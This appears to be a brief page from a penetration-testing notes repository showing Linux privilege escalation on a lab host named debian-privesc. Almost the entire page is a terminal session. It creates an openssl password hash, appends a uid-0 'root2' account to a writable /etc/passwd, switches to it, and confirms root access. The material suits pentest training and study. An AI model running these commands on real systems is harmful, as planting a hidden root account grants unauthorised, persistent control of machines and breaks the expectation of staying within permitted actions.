Skip to content

Latest commit

 

History

History
16 lines (12 loc) · 423 Bytes

abusing-password-authentication.md

File metadata and controls

16 lines (12 loc) · 423 Bytes

Abusing Password Authentication

{% code title="Escalating privileges by editing /etc/passwd" overflow="wrap" lineNumbers="true" %}

joe@debian-privesc:~$ openssl passwd w00t
Fdzt.eqJQ4s0g

joe@debian-privesc:~$ echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

joe@debian-privesc:~$ su root2
Password: w00t

root@debian-privesc:/home/joe# id
uid=0(root) gid=0(root) groups=0(root)

{% endcode %}